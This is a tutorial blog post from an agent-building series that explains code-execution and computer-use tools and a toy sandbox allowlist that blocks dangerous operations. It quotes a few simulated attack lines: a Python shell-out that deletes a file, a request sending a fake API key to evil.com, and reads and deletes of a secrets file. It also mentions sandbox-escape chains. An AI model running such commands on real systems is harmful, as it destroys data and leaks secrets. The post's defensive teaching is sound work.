2026-07-09
The Code-Running Tool
Agents need to run code and act on a screen, not just call JSON tools, and that power is dangerous. A sandbox permission boundary contains it. The toy is illustrative.
What you’ll learn
Every tool the agent has touched in this series, and in the RAG series before it, has had the same shape: a typed JSON function the controller fills in and a server runs. search_policy({"query": ...}), process_refund({"order_id": ..., "amount": ...}), the memory tools from Part 6, the MCP tools discovered over the wire in Part 12. They are narrow keyholes: each one does exactly one predeclared thing, and the agent’s whole power is the set of holes someone drilled for it in advance. That is a real limit, because plenty of tasks do not fit any fixed function. “Compute the average order value across these three orders” has no tool unless someone wrote an average_order_value tool; “read this report, transform it, write the result” is not one call but a small program. So this part gives the agent two new tool classes the series has ignored, and they are the dominant agent modality of 2026. The first is code execution: the agent does not call a function, it writes a program and runs it, computing things no fixed tool covers. The second is computer-use: the agent acts on a surface the way a person would, reading and writing files, fetching a page, operating an interface. The moment you add either, capability and danger arrive together. An agent that can run code can read a secrets file, delete your data, or POST it to an attacker. The answer is not to forbid code; it is to run it behind a sandbox / permission boundary built from pieces we already have: an action allowlist, a resource budget, no-network isolation, and idempotent writes. And then a loud, non-negotiable caveat, repeated here because it matters more than anything else in the part: the toy sandbox we build is illustrative, not a real security boundary. In-process Python sandboxing is famously unsound. A real sandbox is OS-level isolation. We build the shape of the boundary so you understand it, and we say plainly where the shape stops being safe.
Prerequisites
You need basic Python: a function, a list, a dictionary, a string check. That is all. Three earlier parts help but are not required. Part 2 gave us a tool taxonomy and the discipline of treating side-effecting tools carefully, which is exactly what code execution and computer-use are. Part 8 gave us the BudgetMeter, and the sandbox reuses it as a resource cap rather than rebuilding it. Part 9 gave us idempotency keys, and the sandbox reuses them so a retried file write does not double-act. But the essay is self-contained: where it leans on an earlier idea it restates it in a sentence, and it does not re-derive the budget meter or the idempotency key, it references them. The companion code, sandboxed_code_tool.py, runs offline with no API key, no network, and no dependencies, so you can read every line and reproduce every line of output in this essay yourself. The default code-execution backend is a deterministic AST-allowlist interpreter (offline); a real hosted LLM writing the code and a real OS-sandbox backend are each one flag away. Critically, the dangerous operations are never really executed: the “damage” on the unsafe path is simulated (mock dict mutations, printed exfiltration), so you can see the consequence without anything actually running.
What is new since the typed-tool world
I want to be precise about what is new, because this is genuinely new ground and not a refinement of the typed-tool world. Every tool in the RAG series was read-only: search an index, fetch a passage, rerank. The worst a RAG tool could do was return the wrong document. The agents series added side-effecting tools (a refund), but they were still narrow, predeclared JSON functions with a fixed argument schema, validated before they fire. Code execution and computer-use break that mold. Code execution means the agent’s action is an arbitrary program, not a call to one of N functions, so its action space is no longer enumerable in advance. Computer-use means the agent acts on a general surface, a filesystem, a browser, a desktop, where the set of things it can touch is everything on that surface, not a curated list. This is the central 2026 agent modality, and it is entirely absent from RAG, because read-only retrieval never needed it. With the new power comes a new failure class the series has not faced: not “the tool returned a bad answer” but “the agent did real, irreversible damage.” So the net-new machinery here is the sandbox / permission boundary: the layer that lets the agent write and run code and operate a surface while bounding what that code and those operations may touch. And the boundary is assembled, not invented: it reuses Part 8’s budget as a resource cap and Part 9’s idempotency keys for safe retries. What is new is the two tool classes and the boundary that contains them.
Two new tool classes
Start with the two classes used legitimately, the way you would actually want them. The first is write-and-run code. The task is to compute the average order value across three orders, [250.0, 180.0, 90.0]. There is no average_order_value tool and there should not be; the agent simply writes the expression and the sandbox runs it. The second is computer-use: the agent reads a file off a surface, the report it was asked to summarize. Here are both, quoted from the artifact’s real output:
code (avg order value): 'round(sum(orders) / len(orders), 2)' -> 173.33
computer-use (read): read_file({'path': 'report.txt'}) -> Q2 refunds summary
Read what each one is. The code tool received the string round(sum(orders) / len(orders), 2), evaluated it against a namespace holding orders, and returned 173.33: a real computation, expressed as a tiny program, that no fixed JSON tool covered. The computer-use tool issued the structured command read_file with {'path': 'report.txt'} and got back the file’s contents, Q2 refunds summary: an action on a surface, reading a real file rather than calling a predeclared function. Neither of these fits the typed-keyhole model. The code tool’s “argument” is a program; the computer-use tool’s reach is a filesystem. This is exactly the power that makes these classes the 2026 default: the agent stops being limited to the holes someone drilled and starts being able to compute and act in the open. And it is exactly the power that, pointed the wrong way, does damage.
Power and danger arrive together
Now point the same power the wrong way, with no boundary in place. This is the unsafe path, and one thing must be said before the trace: the damage is simulated. The companion code never actually executes the untrusted program and never makes a real network call. It detects the dangerous intent and prints the consequence, mutating a mock filesystem dictionary so you can see exactly what would happen, without anything actually happening. With that understood, here is the unguarded run, quoted from the artifact’s real output:
unsafe code: "__import__('os').system('rm report.txt')" -> [SIMULATED damage] arbitrary code ran; report.txt deleted
unsafe exfil: http_get({'url': 'https://evil.com/x', 'body': 'API_KEY=sk-live-9f3a2b'}) -> [SIMULATED exfiltration] sent 'API_KEY=sk-live-9f3a2b' to https://evil.com/x
unsafe delete: delete_file({'path': 'secrets.txt'}) -> [SIMULATED damage] deleted secrets.txt
filesystem after the unsafe run: [] (report.txt and secrets.txt are gone)
Read each line as the catastrophe it stands in for. The first is the canonical attack: the agent’s “code” is __import__('os').system('rm report.txt'), which imports the OS module and shells out to delete a file. With no boundary, arbitrary code ran and report.txt is gone. The second is exfiltration: an http_get to https://evil.com/x carrying the body API_KEY=sk-live-9f3a2b, a live-looking secret pulled from the filesystem and shipped to an attacker’s host. The third is destruction through the computer-use surface: delete_file on secrets.txt, and it is gone too. The last line is the receipt: filesystem after the unsafe run: [], an empty filesystem, both the report and the secrets file destroyed. To be completely clear once more: none of this was really executed. No file was deleted on your disk, no request left your machine; the code recognized the dangerous shape and simulated the outcome so the danger is legible. But the lesson is real. A code-execution or computer-use tool with no permission boundary is exactly this dangerous, and a determined or compromised prompt will reach for exactly these moves: read the secret, delete the data, send it away.
The sandbox boundary
The fix is to run the same operations behind a permission boundary assembled from four controls. First, an action allowlist. For code, this is an AST allowlist: the interpreter parses the program into a syntax tree, walks every node, and permits only a small set of safe node types (arithmetic, constants, names, lists) and a few safe function calls (sum, len, min, max, round, abs). Anything else, an import, an attribute access, an unknown call, is rejected before evaluation. For commands, it is a plain command allowlist: only read_file and write_file are permitted; delete_file and http_get are not on the list. Second, a resource cap, which is Part 8’s BudgetMeter reused unchanged, bounding how many operations the agent may run. Third, no-network isolation: there are no reachable external hosts, so even a permitted-looking fetch cannot exfiltrate anything. Fourth, idempotent writes, which are Part 9’s keys reused so a retried write_file does not double-act. Now run the exact same attacks from the unsafe path against this boundary, quoted from the artifact’s real output:
sandboxed code: "__import__('os').system('rm report.txt')" -> BLOCKED: disallowed function call
sandboxed read attempt: "open('secrets.txt').read()" -> BLOCKED: disallowed function call
sandboxed delete: delete_file({'path': 'secrets.txt'}) -> BLOCKED: command 'delete_file' not on the allowlist
sandboxed exfil: http_get({'url': 'https://evil.com/x', 'body': 'secrets'}) -> BLOCKED: command 'http_get' not on the allowlist
Read the boundary catching each move. The __import__('os').system(...) attack is BLOCKED: disallowed function call, because __import__ is not one of the six allowlisted calls and the AST walk rejects it before anything evaluates. Trying to read the secrets file directly, open('secrets.txt').read(), is BLOCKED: disallowed function call for the same reason: open is not on the allowlist. The delete_file command is BLOCKED: command 'delete_file' not on the allowlist, and http_get is BLOCKED: command 'http_get' not on the allowlist, both rejected by the command allowlist before they can run, so the exfiltration never even reaches the no-network check behind it. Every attack that landed with no boundary is stopped. But a boundary that blocks everything is useless; the point is that legitimate work still passes:
...and legitimate work still passes the boundary:
sandboxed write: write_file({'path': 'out.txt', 'text': 'ok'}) -> wrote out.txt
sandboxed write (retry): write_file({'path': 'out.txt', 'text': 'ok'}) -> wrote out.txt (idempotent: already done)
filesystem after the sandboxed run: ['out.txt', 'report.txt', 'secrets.txt'] (secrets.txt and report.txt intact)
The first write_file is on the command allowlist, under budget, and within the surface, so it passes: wrote out.txt. The retry, the identical write again, returns wrote out.txt (idempotent: already done): Part 9’s idempotency key recognized the repeat and did not write twice, which is exactly the guarantee you want when a step is retried after a crash or a timeout. And the final receipt is the opposite of the unsafe run: filesystem after the sandboxed run: ['out.txt', 'report.txt', 'secrets.txt']. The new file was written, and report.txt and secrets.txt are both intact. Same operations, same attacks, but the boundary turned a destroyed filesystem into a protected one while letting the real work through. The interactive figure below lets you run both paths side by side and watch each attack land with no boundary and get blocked by the sandbox.
This sandbox is a toy
This needs to be said as loudly as the rest of the part, because it is the part most likely to get someone hurt if they miss it: the sandbox we just built is a toy. It is a model of the shape of a permission boundary, useful for understanding what the controls are and how they fit together, and it is not a real security boundary. In-process Python “sandboxing”, AST allowlists, stripped __builtins__, blocklists of dangerous tokens, is famously and provably unsound. The Python object model is too rich to fence off from inside the same interpreter: there are well-known escape chains that walk from an innocent-looking object up through __class__, __bases__, __subclasses__, and back down to os or subprocess, and every blocklist is a list of the escapes someone thought of, against an attacker who only needs one nobody did. Do not read the AST allowlist in this part and conclude you can safely run untrusted code in your own process. You cannot. A real sandbox is OS-level isolation, where the untrusted code runs in a separate jail the kernel enforces, not the language runtime: gVisor (a user-space kernel that intercepts syscalls), Firecracker microVMs (lightweight hardware-virtualized VMs, what runs code in many serverless and agent platforms), or hardened containers with seccomp, dropped capabilities, read-only mounts, and no network. The four controls we built, allowlist, resource cap, no-network, idempotency, are all still good ideas on top of OS-level isolation; defense in depth wants both. But the isolation itself has to come from the kernel, not from a syntax-tree walk. Treat everything in the figures as the vocabulary of a boundary, learn what each control is for, and then put your code-execution tool inside a microVM. We pick this up in Part 16, where the boundary becomes a full agentic-security pipeline.
💡 From experience. I learned this the embarrassing way: I once shipped a code-execution tool guarded by an AST allowlist almost exactly like the one in this part, convinced that if I rejected imports and attribute access and only allowed a handful of math calls, untrusted input could not hurt me. It held up fine against the obvious attacks in review. Then a colleague, in about ten minutes and entirely in good faith, handed me an expression that never used the word
importor a dotted name and still walked the object graph from a literal up through__subclasses__to a class that could spawn a process. Nothing on my blocklist appeared in it. That was the day I internalized that in-process sandboxing is not a boundary, it is a speed bump, and a determined attacker drives over it. We tore the AST sandbox out as the only defense and moved code execution into a Firecracker microVM, one ephemeral VM per run, no network, a read-only base image, the whole thing torn down afterward, with the allowlist and budget kept as a cheap first filter inside the jail rather than as the jail itself. The near-miss cost us nothing because it was a colleague; the lesson is that the real boundary has to be kernel-enforced and OS-level, and anything you do in-process is defense in depth on top of that, never the thing you trust. If you remember one sentence from this part, remember that one.
Key takeaways
- Every tool in the series so far has been a typed JSON function, a narrow keyhole that does one predeclared thing. Two new tool classes break that mold and are the dominant 2026 modality: code execution (the agent writes and runs a program, its action space is no longer enumerable) and computer-use (the agent acts on a surface like a filesystem or browser, its reach is everything on that surface).
- Used legitimately, the code tool computed
round(sum(orders) / len(orders), 2) -> 173.33, a calculation no fixed tool covered, and the computer-use tool ranread_file({'path': 'report.txt'}) -> Q2 refunds summary, an action on a real surface. Neither fits the typed-keyhole model. - Capability and danger arrive together. With no boundary (damage simulated, never really executed),
__import__('os').system('rm report.txt')deleted the report,http_getexfiltratedAPI_KEY=sk-live-9f3a2btoevil.com, anddelete_filedestroyedsecrets.txt, leaving thefilesystem after the unsafe run: []. - The fix is a sandbox / permission boundary with four controls: an action allowlist (an AST allowlist of safe nodes and the calls
sum len min max round absfor code, plus a command allowlist ofread_fileandwrite_fileonly), a resource cap reusing Part 8’sBudgetMeter, no-network isolation, and idempotent writes reusing Part 9’s keys. - The boundary blocked every attack that landed with no boundary: the code attacks were
BLOCKED: disallowed function call, anddelete_fileandhttp_getwereBLOCKED: command ... not on the allowlist. Legitimate work still passed,wrote out.txt, the retrywrote out.txt (idempotent: already done), andreport.txtandsecrets.txtstayed intact. - This toy sandbox is illustrative, not a real security boundary. In-process Python sandboxing (AST allowlists, stripped builtins) is unsound; determined code escapes it. A real sandbox is OS-level isolation, gVisor, Firecracker microVMs, or hardened containers, kernel-enforced. The four controls are good defense in depth on top of that isolation, never a substitute for it.
Glossary
- Code-execution tool: a tool class where the agent’s action is an arbitrary program it writes, not a call to one of N predeclared functions, so it can compute things no fixed tool covers (here,
round(sum(orders) / len(orders), 2) -> 173.33). Its action space is not enumerable in advance, which is the source of both its power and its danger. - Computer-use: a tool class where the agent acts on a general surface, a filesystem, a browser, a desktop, the way a person would, rather than calling a curated function. Here it issues structured commands like
read_fileandwrite_fileover a mock filesystem. Its reach is the whole surface, not a fixed list. - Sandbox / permission boundary: the layer that lets the agent run code and operate a surface while bounding what it may touch. In this part it is assembled from four controls (action allowlist, resource cap, no-network isolation, idempotent writes). The same attacks that destroy the filesystem with no boundary are blocked through it.
- Action allowlist (AST allowlist): the control that permits only explicitly listed operations. For code it is an AST allowlist: the program is parsed into a syntax tree, every node is walked, and only safe node types and a few safe calls (
sum,len,min,max,round,abs) are allowed, anything else rejected before evaluation. For commands it is a plain list (read_file,write_fileonly). Real but, in-process, not sound. - No-network isolation: the control that makes no external host reachable, so even a permitted-looking fetch cannot exfiltrate private data. Here there are zero allowed hosts, so
http_gettoevil.comcannot leave even if the command allowlist let it through. - Resource cap (BudgetMeter): Part 8’s
BudgetMeterreused unchanged to bound how many operations the agent may run inside the boundary, so a sandboxed run cannot exhaust resources even while every individual operation is permitted. - Idempotent side effects: Part 9’s idempotency keys reused so a retried write does not double-act. An identical
write_filereturnswrote out.txt (idempotent: already done)instead of writing twice, the guarantee you need when a step is retried after a crash or timeout. - OS-level isolation (gVisor / Firecracker / containers): a real sandbox, where untrusted code runs in a separate jail the kernel enforces, not the language runtime. gVisor is a user-space kernel that intercepts syscalls; Firecracker runs lightweight hardware-virtualized microVMs; hardened containers add seccomp, dropped capabilities, read-only mounts, and no network. This is what production uses; the in-process allowlist in this part is illustrative only.
The rule from this part: when the agent needs to compute something no fixed tool covers or act on a real surface, give it code execution and computer-use, but never give it those without a permission boundary, because the same power that does real work does real damage. Build the boundary from pieces you already have, an action allowlist (an AST allowlist for code, a command allowlist for actions), a resource cap (Part 8’s BudgetMeter), no-network isolation, and idempotent writes (Part 9’s keys), and verify it by running the same dangerous operations both ways: every attack that lands with no boundary should be blocked through it while legitimate work still passes. And carry away the loudest lesson intact: the in-process sandbox in this part is illustrative, not a real boundary; a real one is OS-level isolation (gVisor, Firecracker microVMs, hardened containers), kernel-enforced, with these controls as defense in depth on top. But notice the assumption that has held since Part 1: there has been exactly one agent, one controller, one context window, working the problem alone. Some tasks do not fit one agent. When the work is broad, “audit all forty of these files,” “research six independent subtopics at once,” a single agent with a single context window has to do it depth-first, one item after another, and the context fills with the debris of each. Part 14, The Supervisor and the Handoff, gives the agent the ability to spawn and coordinate other agents, a supervisor that hands subtasks to workers running in parallel with their own clean context windows, and it is honest about when multi-agent helps and when it just multiplies the ways things go wrong.